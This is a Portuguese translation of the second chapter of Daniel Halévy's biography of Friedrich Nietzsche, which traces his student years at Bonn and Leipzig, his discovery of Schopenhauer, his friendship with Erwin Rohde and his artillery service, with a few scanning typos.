Os Anos de Juventude / Vida de Frederico Nietzsche, Daniel Halévy / 2

VIDA DE FREDERICO
NIETZSCHE

Autor: Daniel Halévy

Tradutor: Jerônimo Monteiro
Extraído da edição da Editora Assunção ltda.
Coleção Perfis Literários

 

 O livro foi dividido em 7 páginas

Cap. 1 – OS ANOS DE
INFÂNCIA
Cap. 2 – OS ANOS DA
JUVENTUDE
Cap. 3 – FREDERICO NIETZSCHE E
RICHARD WAGNER — TRIEBSCHEN
Cap. 4 – FREDERICO NIETZSCHE E
RICHARD WAGNER — BAYREUTH
Cap. 5 – CRISE E CONVALESCENÇA Cap. 6 – O TRABALHO DO
"ZARATUSTRA"
Cap. 7 – A   ÚLTIMA   SOLIDÃO

 

II

OS ANOS DA
JUVENTUDE

Pelo meado de
outubro de 1862, Nietzsche deixa Naumburg para entrar na Universidade de Bonn.
Paul Deussen, seu colega, e um sobrinho deste, acompanham-no. Os jovens não têm
pressa. Detêm-se na margem do Reno. Estão alegres e mesmo um tanto tontos com a
completa liberdade de que gozam. Paul Deussen, agora professor na Universidade
de Kiel, conta-nos, com a satisfação de um pacato burguês que se anima à recordação
das loucuras passadas, aquelas viagens repletas de exuberantes gargalhadas.

Os três amigos
percorrem o campo a cavalo. Nietzsche — não teria ele abusado da cerveja
servida na estalagem? — interessa-se muito mais pelas longas orelhas de sua
montaria do que pela beleza da paisagem. E mede-as com cuidado.

— É um burro —
diz ele.

—  Não —
replicam os outros — É um cavalo. Nietzsche mede as orelhas de novo, e
teima com firmeza:

—  É um
burro!

Voltam ao cair
do dia. Gritam, discutem, escandalizam a pequena cidade. Nietzsche canta
canções de amor, e as mocas, atraídas pelo barulho às janelas meio fechadas,
observam por trás das cortinas essa cavalgada. Afinal, um cidadão, saindo de
sua casa, envergonha os barulhentos e leva-os, não sem os ameaçar, em direção à
estalagem.

Os três se
instalam em Bonn. A emoção que sentem c viva. As universidades tinham então, um
prestigio singular.

Únicas a
permanecer livres, mantinham, na Alemanha dividida, uma possante vida num débil
corpo. Tinham sua história, que era gloriosa, e sua lenda, mais gloriosa ainda.
O povo sabia que os jovens alunos de Leipzig, Berlim, Iena,
Heidelberg ou Bonn, inflamados pelos professores, se haviam armado contra
Napoleão, para salvação da raça alemã; sabia também que esses valentes haviam
lutado c lutavam ainda contra os déspotas e os padres, para fundar a liberdade
alemã; c o povo amava esses graves professores e esses tumultuosos jovens que
representavam a pátria no seu mais nobre aspecto: a pátria trabalhadora, armada
para o trabalho.

Não havia nenhum
jovem que não pensasse nos anos de estudo como os mais belos tempos de sua
vida; não havia moça alguma que não sonhasse com o seu estudante. E toda a
sonhadora Alemanha não tinha sonho mais lindo: era infinitamente orgulhosa de
suas Universidades ilustres, escolas de saber, de bravura, de virtude e de
alegria.

"Cheguei a
Bonn — escreve Frederico Nietzsche num dos numerosos ensaios onde conta a si
próprio a sua vida — com o orgulhoso sentimento de um futuro feliz e
rico". Êle não ignorava sua própria capacidade, e estava impaciente por
travar conhecimento com os seus contemporâneos, que seriam o material para o
trabalho do seu pensamento.

A maior parte dos
estudantes de Bonn vivia agrupada em associações. Nietzsche hesitou um pouco antes de seguir esse costume. Mas, temendo um
selvagem repúdio no caso de desprezar qualquer obrigação de camaradagem, fez-se
incluir num destes Vereines (sociedade). "Refleti muito antes de
dar esse passo, o qual, dado o meu caráter, me pareceu quase necessário" —
escreveu ele a seu amigo Gersdorff,

Durante algumas
semanas deixou-se distrair pelo ritmo desta nova existência. Sem dúvida, ele
jamais gostou de cerveja ou de fumo. Mas as discussões eruditas, os passeios de
barco pelo rio, as horas de alegria nos albergues ribeirinhos, e pela tarde, na
volta, os coros improvisados — isto sim, Nietzsche aceita estes prazeres
simples. Para ser um estudante "completo", ele quis se bater em
duelo, e, como não tinha nenhum inimigo, escolheu para adversário um agradável
colega. "Sou um calouro — disse ele — e quero me bater. Simpatizo d com
você. Vamo-nos bater". — "Perfeitamente" — respondeu o outro. E
Nietzsche recebeu uma estocada.

Era impossível
que uma tal vida o contentasse por muito tempo. Este humor de infantil
gaiatismo logo termina primeiros dias de dezembro, ele começa a retrair-se e
sente renascer a inquietação. As festas do Natal e do Ano Novo, passadas longe
dos seus, entristecem-no. Uma carta que mandou a sua mãe deixa entrever a
insatisfação:

Adoro os
aniversários, os primeiros-de-ano, os dias de Natal. Devemos-lhes horas em que
a alma, suspensa, descobre fragmentos de sua própria existência. Depende de
nós. sem duvida, gozar mais amíude
horas semelhantes, mas nós pouco nos
preocupamos com isso.

Elas
favorecem momentos para resoluções decisivas. Costumo, em tais momentos , reler
os manuscritos me as cartas do ano findo, e escrever só para mim, as reflexões
que me acodem. Durante uma hora ou duas, a gente fica como que acima do tempo,
fora de tua própria existência. Dominamos com segurança o passado, e
resolvemos, de
alma mais valente e mais firme, reencetar a marcha para diante. É
quando
os votos e as bençãos tombam como I uma doce chuva sobre a
alma – é maravilhoso!
             

Dessas
reflexões, que o jovem escreve para "si mesmo", possuímos algumas.
Ele se censura pelas horas perdidas e se decide a levar uma vida mais austera e
mais concentrada. No entanto, no momento de romper com alguns colegas um tanto
grosseiros, mas bravos, e jovens como ele – hesita.. Ficará com eles? Um
delicado receio o agita. Pode ser que, pelo efeito de uma longa indulgência,
ele se habitue aos seus modos, e deixe de ser tão sensível às ações baixas.   

O costume é uma
força temível escreveu ao teu amigo Gersdorff, A gente já perdeu multo quando
perdeu a desconfiança instintiva diante das coisas más que se nos apresenta na
vida quotidiana. Adotou um terceiro partido, muito difícil, e decidiu falar
francamente a seus amigos, dizendo que procuraria exercer sobre eles uma boa
influência, tentando tornar suas vidas mais nobres, começando, assim, o
apostolado que sonhava estender, um dia, a toda a Alemanha. Propôs uma reforma
na associação: queria que se suprimisse, ou pelo menos, se reduzisse o hábito
do fumo e da bebida que lhe provocavam desgosto.

A proposta não
obteve o mínimo sucesso. Fizeram-no caras e o afastaram. Nietzsche, sempre
pronto aos sarcasmos vingou-se com palavras que não contribuíram para aumentar
apreço dos seus colegas. E ele conheceu, então, a mais amarga das solidões: a
solidão dos vencidos. Haviam-lhe pedido que se afastasse de todos, mas ele não
se retirou. Era orgulhoso, e a estada em Honn tornou-se dolorosa.

Trabalhava
energicamente e sem alegria. Estudava filologia o que não lhe interessava em nada. Era um exercício que ele se impusera para disciplinar o espírito, para corrigir
tendência ao misticismo vago, à dispersão. Mas não sentia nenhum prazer em
analisar minuciosamente os textos gregos, cuja beleza sentia por instinto.
Ritschl, seu professor de filologia, dissuadia-o de qualquer outro estudo.
"Se deseja ser um homem forte – dizia – adquira uma especialidade".
Nietzsche obedeceu. Renunciou à teologia, que tivera desejo de aprofundar. Era
dezembro compusera algumas melodias: decidiu que durante todo o ano não se entregaria
a um prazer tão inútil. Queria submeter-se e afastar o aborrecimento.

Seu esforço foi
recompensado: pôde escrever um trabalho cujo rigor e sagacidade foram
apreciados por Ritschl.

Franca
satisfação! Era de pensar que Nietzsche tinha necessidade! Escutava
falar os estudantes. Uns repetiam sem ardor as fórmulas de Hegel, Fichte ou
Schelling: e estes grandes sistemas perdiam toda a virtude estimulante. Outros
preferiam as ciências positivas e liam tratados materialistas de Vogt ou
Büchner. Nietzsche leu esses tratados, mas não os releu nunca. Era poeta, tinha
necessidade de lirismo, de intuição e de mistério. Não se podia satisfazer com
o mundo claro e frio da ciência. Esses mesmos rapazes que se diziam materialistas,
diziam-se também democratas; exaltavam a filosofia humanitária de Feuerbach;
mas Nietzsche era mais poeta ainda, e, por educação ou por temperamento, muito
aristocrata para se interessar pela política das massas. Concebia a beleza, a
virtude, ã força, o heroísmo, como fins desejáveis, e os desejava para si
mesmo. Não desejara jamais, porém, uma vida feliz, igual e cômoda: não podia,
portanto, interessar-se pela vida feliz dos homens, pelo pobre ideal de uma
alegria medíocre e de um sofrimento menor.

 

Insatisfeito
com todas as tendências dos seus contemporâneos, que alegria podia êle sentir?
Refugado pela política baixa, metafísica débil e pela ciência positiva — para
que sentido podia dirigir o espírito? Tinha, decerto, preferências vivas e
positivas. Estava seguro de seus gostos. Gostava dos poetas gregos; gostava de
Bach, Beethoven, Byron. Mas quais eram, enfim, seus pensamentos? Ele não sabia
que resposta dar aos problemas da vida, e preferia sempre o silêncio às palavras
incertas, aos vinte, como aos dezessete anos. E se impôs a abstenção.

Em seus
escritos, cartas ou conceitos, mostra-se sempre reservado. Seu amigo Deussen
emitiu a idéia de que a prece não tem virtude real e proporciona ao espírito
uma confiança ilusória. "Aí está uma dessas tolices à Feuerbach" —
replicou Nietzsche com aspereza. O mesmo Deussen, um outro dia, falava da
"Vida de Jesus", da qual Strauss acabava, de publicar uma nova
edição, e aprovava o senso do livro. Nietzsche recusou-se a dar opinião.
"A questão é importante — disse êle. — Se você sacrificar Jesus deve, também,
sacrificar Deus". Estas palavras deixavam crer que Nietzsche continuava
adepto do cristianismo. Uma carta que êle envia à sua irmã desfaz essa
impressão. A moça, que se conservara crente, escreveu–lhe: "É preciso
procurar a verdade, sempre, entre as coisas mais penosas. Ora, a gente não
acredita sem custo nos mistérios do cristianismo. Portanto, os mistérios do
cristianismo são verdadeiros". Recebeu bem depressa a resposta do irmão, o
qual pela rudeza da linguagem, traía o infeliz estado de, sua alma:

Você acredita que nos
seja muito difícil, realmente, receber e aceitar todas as crenças em que fomos
educados e que, pouco a pouco, deitaram em nós profundas raízes,  e  que todos
os nossos, e que unia multidão  de
homens excelentes têm por
verdadeiras e que, verdadeiras ou não, consolam eficazmente e elevam a
humanidade? Acredita você que essa submissão à crença seja mais difícil do que
lutar contra esses hábitos, na dúvida e no isolamento, submetido a todas as
depressões da
alma digo mais: aos remorsos; muitas vezes em
desespero mas sempre ligado ao eterno alvo
a descoberta das novas rotas
que levam ao bem, à verdade, ao belo?

Que
acontecerá, enfim? Tornaremos a encontrar as nossas familiares idéias sobre
Deus, o mundo e a redenção? Para um verdadeiro pesquisador, o resultado da
pesquisa não é, afinal, algo completamente indiferente? Que procuramos com o
nosso esforço? O repouso? a felicidade? Não. Nada mais que a Verdade, por mais espantosa
e cruel que ela possa ser. Aqui está como se dividem os caminhos do homem: se
quiser o repouso para o espírito, e a felicidade
acredite;
se quiser ser um discípulo da Verdade, então
procure

Nietzsche
procurou suportar esta penosa vida. Caminhava pelos campos. Sozinho no seu
quarto, estudava a história da arte e a vida de Beethoven. Vãos esforços: não
podia olvidar as pessoas de Bonn. Por duas vezes foi a Colônia assistir a
concertos musicais. Cada vez que voltava, sentia-se mais pesadamente infeliz.
E, enfim, partiu:

         
      Deixei Bonn como um fugitivo.
Achava-met à meia-noite, no cais do Reno, em companhia de meu amigo
M…
 
       Esperava o vapor que vinha de
Colônia, e não experimentava a mais leve tristeza ao deixar um lugar tão lindo,
 campinas tão
floridas e um bando de tão jovens companheiros. Ao contrário: fugia deles. Não
quero recomeçar a fazer sobre eles julgamentos injustos, como tantas vezes me
aconteceu. Minha natureza não encontrava, entre eles, satisfação alguma. Estava
ainda muito timidamente recolhido em mim mesmo, e não tinha força para agir
livremente entre tantas influências que se exerciam sobre mim. Tudo se me
impunha e eu não consegui dominar o que me rodeava.
.. Sentia de
maneira opressiva, que nada fizera pela ciência, pouco pela vida. Não
 soubera senão
me sobrecarregar de erros. O vapor chegou e levou-me. Fiquei sobre a ponte, na
noite úmida e fria, e enquanto observava como se extinguiam lentamente as
luzinhas que marcavam a margem de Bonn. Tudo conspirava para me dar uma
impressão de fuga.

 

Nem Nietzsche aceita estas palavras
amargas. Ele julga a Alemanha de acordo com os estudantes de Bonn e encontra em
todos os lugares a sua própria inquietação. Refletindo, sofre percebendo que
suas impressões são comuns ao baixo povo. Nas cervejarias, onde seus
hospedeiros o levam, fica sem beber nem fumar, sem dirigir a palavra às pessoas
que lhe são apresentadas.

 

Ele não quer tornar a ver Bonn, e
decide ir para Leipzig terminar seus estudos. Chega à cidade desconhecida e
imediatamente se inscreve na Universidade. É dia de festa. Um reitor arenga aos
estudantes e lhes diz que nesta mesma data, cem anos atrás, Goethe viera
matricular-se entre os antigos alunos. "O gênio tem seus próprios caminhos
— acrescentou depressa o prudente funcionário — e é perigoso segui-los. Goethe
nunca foi um bom aluno. Não o tomem por modelo para seus anos de estudo…” —
"Hu! Hu! Hu!" fizeram os rapazes, rindo, e Frederico Nietzsche,
perdido na multidão, sentia-se feliz pelo acaso que o fizera chegar no instante
em que se comemorava tal aniversário. Entrega-se ao trabalho, queima os versos
encontrados entre seus papéis e se exercita nos mais rigorosos métodos da
filologia. Mas o abatimento toma conta dele em seguida. Receia passar um ano igual ao de Bonn e um longo lamento enche suas cartas, seus
cadernos. Mas tudo isso cessa em breve, e eis o acontecimento que libertou sua
alma: Certa ocasião, folheou uma obra cujo autor lhe era desconhecido: O
Mundo, como Vontade e como Representação
, de Arthur Schopenhauer. O vigor
da frase, o brilho preciso da palavra, chocam-no. "Não sei — disse ele —
que demônio me sussurrava: Leva esse livro para casa… Apenas chegado ao meu
quarto, abri o tesouro que adquirira, e comecei a deixar que esse gênio
enérgico e sombrio agisse sobre mim…"

 

A estréia foi grandiosa: eram os três prefácios
que o mal conhecido autor escrevera com longos intervalos, em cada nova edição,
em 1818, 1844 e 1859. São altivos, amargos, mas nada inquietos; ricos em
pensamentos profundos, em sarcasmos agudos, e o lirismo de um Goethe casa-se,
ali, ao espírito cortante de um Bismarck. São belos, dessa beleza clássica e
medida que é rara na literatura alemã. Frederico Nietzsche foi conquistado por
essa nobreza, esse gosto e essa liberdade.

 

Eu estimaria — escrevera Schopenhauer —
que a verdade descoberta por um homem, ou a luz que ele projetou sobre qualquer
ponto obscuro, pudesse vir a tocar um outro ser pensante, comovê-los, a
alegrá-lo e consolá-lo. É para ele que a gente fala como nos falaram outros
espíritos semelhantes a nós e que nos consolaram no deserto da vida…

 

Nietzsche ficou emocionado: parecia-lhe
que um gênio desgarrado se dirigia exclusivamente a ele. O mundo que
Schopenhauer descrevia era tremendo. Nenhuma providência o orienta, nenhum Deus
o habita. Leis inflexíveis o encadeiam através do espaço e do tempo; mas sua
essência eterna é indiferente às leis e estranha à razão. É a cega vontade que
nos guia na vida. Todos os fenômenos do universo são o prolongamento desta
Vontade, do mesmo modo que todos os dias do ano são o prolongamento do mesmo sol.
Ela é invariável e infinita: dividida e comprimida no espaço, "nutre-se de
si mesma, pois que fora dela nada existe e que é uma vontade esfaimada".
Portanto, ela se dilacera e sofre. A vida é um desejo e o desejo um tormento
sem fim. As boas almas do século XIX acreditam na dignidade do homem e no
Progresso. Uma superstição fá-las abobalhadas. A Vontade ignora os homens,
"últimos a chegar sobre a terra e que vivem em média trinta anos". O
Progresso é a invenção idiota dos filósofos inspirados pela multidão: a
Vontade, escândalo para a razão, não tem princípio nem fim; é absurda e o
universo que ela anima, não tem sentido…

 

Frederico Nietzsche leu com avidez as
duas mil páginas deste panfleto metafísico cujo formidável choque esmaga as
ingênuas crenças do século XIX, e arrebata todos os sonhos à pueril humanidade.
Ele sente uma estranha emoção, quase alegria. Schopenhauer condena a vida, mas
existe nele uma energia tão veemente que, na sua obra acusadora, o que a gente
encontra e admira é a vida. Durante quatorze dias, Nietzsche apenas dorme —
deita-se às duas e levanta-se às seis; passa os dias entre o livro e o piano,
medita e, nos intervalos de sua meditação, compõe um Kyrie. Sua alma está
exuberante: encontrou a verdade, mas que importa? Desde muito tempo seu
espírito já o tinha prevenido e preparado. "Que procuramos com o nosso
esforço?" — escrevera à sua irmã. — O repouso? a felicidade? Não. Nada
mais que a verdade, por mais cruel e espantosa que ela possa ser."

 

Ele reconhece o sombrio universo schopenhauriano.
Pressentira-o em suas cismas juvenis, nas leituras de Ésquilo, Byron e Goethe;
entrevira-o através dos símbolos cristãos: esta Vontade má, escrava dos
desejos, não será, sob um nome diferente, a natureza decaída que o Apóstolo
mostrou, mais trágica ainda, privada dos clarões divinos que um Redentor nela
deixara? Atemorizado por sua inexperiência e temeridade, ele recuara ante uma
visão tão espantosa. Mas, agora, tem coragem para a olhar de frente. Já não
teme, porque não está só. Acredita na sabedoria de Schopenhauer e satisfaz,
afinal, um de seus maiores desejos: segue um mestre! Chega a pronunciar uma
palavra mais grave. Dá a Schopenhauer o nome supremo no qual a sua infância de
órfão colocou um mistério de força e ternura: chama-o "seu pai". Exalta-se,
um remorso desola-o subitamente: seis anos antes, Schopenhauer vivia ainda;
poderia ter se aproximado dele, ouvi-lo e dizer-lhe quanto o venerava. O
destino os havia separado! A alegria e a tristeza intensas e confundidas
abateram-no e foi atacado por uma febre nervosa. Fica assustado, mas refaz-se
graças a enérgico esforço, e volta à vida, ao trabalho dos dias e ao sono das
noites.

 

Os jovens têm necessidade de admirar —
é uma forma de amor. Quando admiram, quando amam, todas as necessidades da vida
se tornam fáceis. Frederico Nietzsche, discípulo de Schopenhauer, conheceu,
então, suas primeiras felicidades. A filologia já lhe causa menos
aborrecimento. Alunos de Ritschl, seus colegas, fundam uma sociedade de
estudos. Nietzsche junta-se a eles, e, no dia 18 de janeiro de 1866, algumas
semanas depois da grande leitura de Schopenhauer, expõe aos colegas o resultado
de suas pesquisas em torno dos manuscritos e variantes de Théognis. Fala com
propriedade e vigor, e aplaudem-no. Nietzsche adorava o sucesso; apreciava-o
com uma vaidade simples que não escondia. Foi feliz. Entregou a Ritschl o que
escrevera e foi muito felicitado por ele, o que aumentou ainda sua alegria.
Quis tornar-se, e se tornou, realmente o aluno preferido do mestre. Sem dúvida,
ele não deixara de considerar a filologia como uma ocupação inferior, exercício
intelectual e "ganha-pão", e sua alma estava pouco satisfeita — mas
que grande alma pode jamais estar satisfeita? Muitas vezes, depois de um dia de
intenso trabalho, ficava melancólico — mas que alma jovem e sedenta ignora a
melancolia? Pelo menos, sua tristeza deixara de ser deletéria, e um fragmento
de carta que começa com uma queixa e termina por uma emoção entusiasta,
denuncia não sofrimento, mas plenitude excessiva:

Há três coisas que me consolam —
escreve ele em abril de 1866 — e que rara consolação! Meu Schopenhauer, a
música de Schumann e os passeios solitários. Ontem preparava-se uma pesada
tempestade; apressei-me em direção a uma colina próxima (chamam-na Leusch.
Pode-me explicar o que quer dizer?) e subi. Lá em cima encontrei uma choça e um
homem que, observado por seus filhos, degolava dois carneiros. A tempestade
rebentou com toda a violência, com relâmpagos e granizo, e eu me sentia
inexplicavelmente bem, cheio de força e de vontade, e compreendi claramente que
para interpretar a natureza é preciso, como fiz, ficar a sós com ela, longe de
cuidados e de contrariedades acabrunhadores. Que me importa, então, o homem e
sua desordenada vontade! Que me importa o "tu deves", e o "tu
não deves"! Como são diferentes o relâmpago, a tempestade, o granizo:
forças livres e sem ética. Como são felizes e fortes estas vontades puras que o
espírito não perturbou!

 

Nas vésperas do verão de 1866,
Nietzsche passava todos os seus dias na biblioteca de Leipzig, onde decifrava
difíceis manuscritos bizantinos. De súbito, deixou-se distrair por um grandioso
espetáculo: a Prússia, discretamente ativa havia cinqüenta anos, voltava ao
campo de batalha. O reino de Frederico, O Grande, encontrara um chefe:
Bismarck, o aristocrata apaixonado, irascível e astucioso, que deseja realizar,
afinal, o sonho de todos os alemães e fundar um Império superior aos pequenos
Estados. Ele rompeu com a Áustria, que Moltke humilhou depois de vinte dias de
luta.

 

"Acabei com os meus Theognidea
para o Museu Rheinisches, durante a semana de Sadowa", lê-se num
memorandum de Nietzsche. Ele não interrompe o seu trabalho, mas as preocupações
políticas ocupam o seu pensamento. Sente a alegria de uma vitória nacional;
descobre que é um patriota prussiano, e um pouco de espanto se mistura ao seu
prazer: "É para mim uma alegria nova e muito rara…" Depois,
refletindo sobre esta vitória, discerne as conseqüências, que enuncia com
clareza:

 

"A vitória é nossa; ela aí está.
(Mas) enquanto Paris for o centro da Europa, as coisas permanecerão as mesmas.
É inevitável que façamos um esforço para romper esse equilíbrio, pelo menos
para tentar rompê-lo. Se fracassarmos, podemos estar certos de que tombaremos,
um e outro, no campo de batalha, despedaçados por um obus francês."

Ele não se deixa perturbar por esta
visão do futuro que satisfaz o seu gosto pelo sombrio e pelo patético. Ao
contrário, anima-se e se admira:

 

Em certos momentos preciso fazer
esforços para arrancar minhas opiniões do rumo que lhes dão as paixões
momentâneas e minhas naturais simpatias pela Prússia. Vejo aqui uma nação
conduzida com grandeza por um Estado, por um chefe; uma ação talhada na
verdadeira substância com que é, afinal, feita a história; não moral,
seguramente, mas, para os que a contemplam, suficientemente edificante e bela.

 

 

Não foi, na verdade, um sentimento
semelhante o que experimentou sobre aquela colina de bizarro nome — Leusch —
num dia de tempestade, perto daquele homem que degolava calmamente seus carneiros? Forças livres e sem ética! como são felizes e fortes estas vontades puras
que o espírito não perturbou!

 

***

 

 

O segundo ano que passou em Leipzig
talvez tenha sido o mais feliz de sua vida. Gozava plenamente a segurança
intelectual que a ascendência de Schopenhauer lhe assegurava. Você me pede uma
apologia de Schopenhauer? — escreveu a seu amigo Deussen — Pois digo-lhe
somente isto: olho para a vida de frente, com coragem e liberdade depois que os
meus pés encontraram um solo. As águas da perturbação, para me exprimir
por imagens, já não me desviam do caminho, porque já não me passam acima da
cabeça;
sinto-me como em minha casa nestas regiões obscuras.

 

Foi um ano de recolhimento e de boa
convivência. Não se incomodava com os negócios públicos. No dia seguinte ao da
vitória, a Prússia recaíra ao baixo nível da sua vida cotidiana. As gabolices
da tribuna e da imprensa sucederam-se à ação dos grandes homens. "Que uma
multidão de cérebros medíocres tome conta de coisas cuja importância é real —
escreveu ele — é um pensamento que dá medo…" Pode ser que tivesse
qualquer remorso por ter se deixado seduzir por uma peripécia dramática. Ele
bem sabia — Schopenhauer lhe ensinara — que a história e a política são dois
jogos ilusórios. Tê-lo-ia esquecido? Escrevia, para firmar seus pensamentos e
para definir o sentido e o valor medíocres das agitações humanas, o seguinte:

 

Será a História outra coisa que o
combate sem fim de interesses inumeráveis e diversos em luta pela existência?
As grandes "idéias" em que muitas pessoas acreditam descobrir as
forças diretrizes desse combate não são mais que reflexos que passam sobre a
superfície do mar oleoso: não têm ação alguma sobre o mar, mas acontece que,
algumas vezes, tornam as vagas mais bonitas, e conseguem, assim, enganar
àqueles que as contemplam. Pouco importa que essa luz emane da lua, do sol ou
dum farol; o mais que acontece é a vaga ficar um pouco mais ou um pouco menos
iluminada. Isso é tudo.

 

Seu entusiasmo não tinha outro objeto
senão a arte e o pensamento, o estudo do gênio antigo. Apaixona-se por seu
professor, Ritschl: "Este homem é a minha consciência científica",
diz ele. Toma parte nas noitadas amigáveis do "Verein" — fala e
discute. Concebe mais trabalhos do que pode executar, e oferece-os a seus
amigos. Resolve estudar as fontes de Diógenes Laércio, o compilador que salvou
do esquecimento tão preciosas informações sobre os filósofos da Grécia. Pensou
em compor memórias que fossem sagazes, rigorosas e, não obstante, cheias de
beleza: "Todo o trabalho importante — escreveu ele a Deussen — como você
mesmo comprovará, exerce influência moral. O esforço para concentrar
determinada matéria e dar-lhe forma harmoniosa pode ser comparado ao ato de se
atirar uma pedra sobre a nossa vida interior: o primeiro círculo é pequeno, mas
multiplica-se, e se vai transformando em círculos maiores."

Em abril, Nietzsche reúne e redige suas
notas; é inteiramente dominado por um desejo de beleza. Não quer escrever à
maneira dos eruditos, que mal conhecem o sabor das palavras e o equilíbrio das
frases. Ele deseja "escrever", no verdadeiro sentido difícil e
clássico da palavra.

Abri os olhos à evidência — escreve
ele — Já vivi demasiado tempo no estado de inocência estilística. O imperativo
categórico: "Deves escrever, é necessário que escrevas", acabou me
despertando e procurei escrever bem. Era um trabalho que eu esquecera desde que
saí de Pforta, e a pena se tornou inábil entre os meus dedos. Sinto-me
impotente, irritado. Ouço murmurar, perto de meus ouvidos, os princípios da boa
linguagem dados por Lessing, Lichtemberger, Schopenhauer. Pelo menos,
recordo-me, e isto é um consolo, que essas três autoridades, de perfeito
acordo, dizem que escrever bem é muito difícil, que homem algum escreve
naturalmente bem e que, para adquirir estilo, é preciso trabalhar e fazer
grande esforço… Antes de mais nada, eu desejaria aprisionar no meu estilo o
espírito alegre. Farei para isso tanta força como faço para executar ao cravo.
Quero, enfim, produzir não somente com os elementos adquiridos, mas também
realizar fantasias livres, tão livres como possíveis dentro da lógica e da
beleza.

 

Sua felicidade é completada por uma
alegria sentimental: Nietzsche encontra um amigo. Por longo tempo permanecera
fiel aos seus companheiros de infância: um morrera, e o outro, depois de dez
anos de vida e ocupações separadas, tornara-se um estranho. Em Pforta, estimara
muito o estudioso Deussen, o fiel Gersdorff: um continuava seus estudos em
Tubingue e o outro em Berlim. Correspondiam-se zelosamente, mas uma troca de cartas não podia ser suficiente para satisfazer a necessidade de amizade,
instintiva em seu coração. Conheceu afinal a Erwin Rohde, espírito vigoroso e
perspicaz. Dedicou-lhe logo grande amizade e admiração — porque ele era incapaz
de estimar sem admirar. Atribuiu-lhe as qualidades sublimes que transbordavam
de sua própria alma. À noite, após as laboriosas horas de trabalho, eles se
reuniam e passeavam, a pé ou a cavalo, sempre conversando. "Pela primeira
vez — escreveu Nietzsche — experimento uma amizade que se levanta sobre um
fundo moral e filosófico. É comum discutirmos seriamente, porque estamos em
desacordo sobre muitos pontos. Mas basta que a discussão atinja um sentido mais
profundo, para que todos os pensamentos discordes se extingam, e não fica entre
nós senão um agradável e total acordo." Eles haviam combinado passar
juntos as primeiras semanas de férias. Em princípio de agosto, ambos livres,
deixam Leipzig e vão se isolar na fronteira da Boêmia. É essa uma região de
colinas suaves e encantadoras, cobertas de bosques, e que relembra, embora com
menor grandiosidade, os Vosges. Nietzsche e Rohde levam uma vida de filósofos
errantes. Tem pouca bagagem e nenhum livro. Caminham de albergue em albergue, e
durante todo o dia, livres de preocupações, entretêm-se falando de
Schopenhauer, de Beethoven, da Alemanha e da Grécia. Julgam e condenam com
juvenil precipitação; não se cansam nunca de subestimar sua ciência: "Oh,
puerilidade da erudição — dizem. — Foi um poeta, foi Goethe quem descobriu o
gênio da Grécia e o exibiu aos alemães, sempre absortos nos confins do um
sonho, como exemplo de beleza rica e clara, modelo de forma perfeita. Os
professores chegaram depois dele, e reivindicaram o mundo antigo. Mas, sob seus
olhos míopes, essa maravilhosa obra de arte acabou se transformando no objeto
de uma ciência. Que é que eles não estudaram? O ablativo em Tácito, a evolução
do gerúndio nos autores latinos da África; analisaram, até ao último detalhe, a
linguagem da Ilíada e determinaram quais os elementos que a ligam a tal ou tal
outra linguagem ariana. Que importa isso? A beleza da Ilíada é única; foi
sentida por Goethe, mas eles ignoram-na. Acabaremos com isso. Esta será a nossa
tarefa; lutaremos pela volta à tradição goethiana; não dissecaremos mais o gênio
grego; reanima-lo-emos, porque desejamos que todos o sintam. Há muito tempo,
já, que os eruditos começaram o seu minucioso exame. É tempo de o terminar, e o
trabalho da nossa geração será definitivo: ela tomará posse do grande legado
que o passado nos transmitiu. Também a ciência deve servir ao progresso."

Depois de um mês de conversação, os
dois moços deixam as florestas e vão a Meiningen, pequena cidade onde os
músicos da escola pessimista dão uma série de concertos. A crônica destes fatos
está conservada numa carta de Frederico Nietzsche: "O abade Liszt dirigia.
Executaram um poema sinfônico de Hans de Bülow, Nirwana, cuja
explicação, em máximas schopenhauerianas, estava impressa no programa. A
música, porém, era horrorosa. Já Liszt, ao contrário, soube encontrar de
maneira notável o caráter desse Nirwana indiano em algumas de suas
composições religiosas, como, por exemplo, nas Beatitudes."

 

Nietzsche e Rohde separaram-se no dia
seguinte a estas festas e voltaram à casa de suas respectivas famílias.

 

Sozinho em Naumburg, Nietzsche
empreendeu muitos trabalhos e muitas leituras. Estudava as obras dos novos
filósofos alemães, Hartmann, Duhring, Lange, Bahnsen. Admirava-os a todos com a
indulgência de um irmão de armas, e pensava em conhecê-los, colaborar com eles
numa revista que fundariam juntos. Redigiu um ensaio, talvez uma espécie de
manifesto, sobre o homem que ele desejava dar por mestre aos seus
contemporâneos: Schopenhauer.

"De todos os filósofos — dizia —
este o mais verdadeiro”.Nada de piegas entrava em seu espírito. É bravo —
primeira qualidade para um chefe. Frederico Nietzsche anota rapidamente:
"Eis a época de Schopenhauer. Um pessimismo são, fundado no ideal; a
seriedade da força viril, o gosto por aquilo que é simples e são…
Schopenhauer é o filósofo de um classicismo reanimado, de um helenismo
germânico…"

 

Trabalhava exageradamente e sua vida em
breve se ressentiu disso. Fora isento do serviço militar por causa da vista
fraca. Mas a armada prussiana, em 1867, tinha grande necessidade de homens e
ele foi incorporado num regimento de artilharia aquartelado em Naumburg.

Nietzsche aceitou esse aborrecimento.
Seguia a máxima de que um homem deve saber se aproveitar dos acasos de sua vida
e tirar deles, como um artista, os elementos para um destino mais rico.
Resolveu, portanto, desde que tinha de ser soldado, instruir-se sobre essa nova
atividade. As obrigações militares tinham, nesse tempo de guerra, uma
solenidade que lhes falta hoje. Nietzsche considerou saudável e bonito fechar
seus dicionários e montar a cavalo; ser um artilheiro e bom artilheiro — uma
espécie de asceta a serviço da pátria "etwas aschesis zu treiben",
escreveu ele em seu alemão mesclado de palavras gregas.

 

Esta vida é incômoda — escreveu mais
— mas, saboreada à maneira de aperitivo, acho que vai ser proveitosa. É um
apelo constante à energia do homem, que vale, sobretudo, como antídoto contra o
ceticismo paralisante cujos efeitos observamos juntos. Na caserna a gente
aprende a conhecer sua natureza e a saber o que produz ela entre homens
estranhos, na maioria muito rudes… Até agora, parece, todos tem boa vontade
para comigo, tanto o capitão como os simples soldados; mas também, tudo o que
devo fazer, faço-o com zelo e interesse. Não é uma boa razão para a gente se
orgulhar se é notado, entre trinta recrutas, como o melhor cavaleiro? Em
verdade, isso vale mais do que um diploma de filologia…

 

Sobre isso ele cita, por extenso, a
bela frase latina e ciceroneana, escrita pelo velho Ritschl em louvor de sua
memória, "De fontibus Laertii Diogenis". Sentia-se orgulhoso do
sucesso e não escondia seu prazer. Diverte-se. "Somos feitos assim.
Sabemos o que vale um tal elogia e, apesar disso, uma agradável contração faz
trejeitos em nossa face."

Esta valente disposição dura pouco.
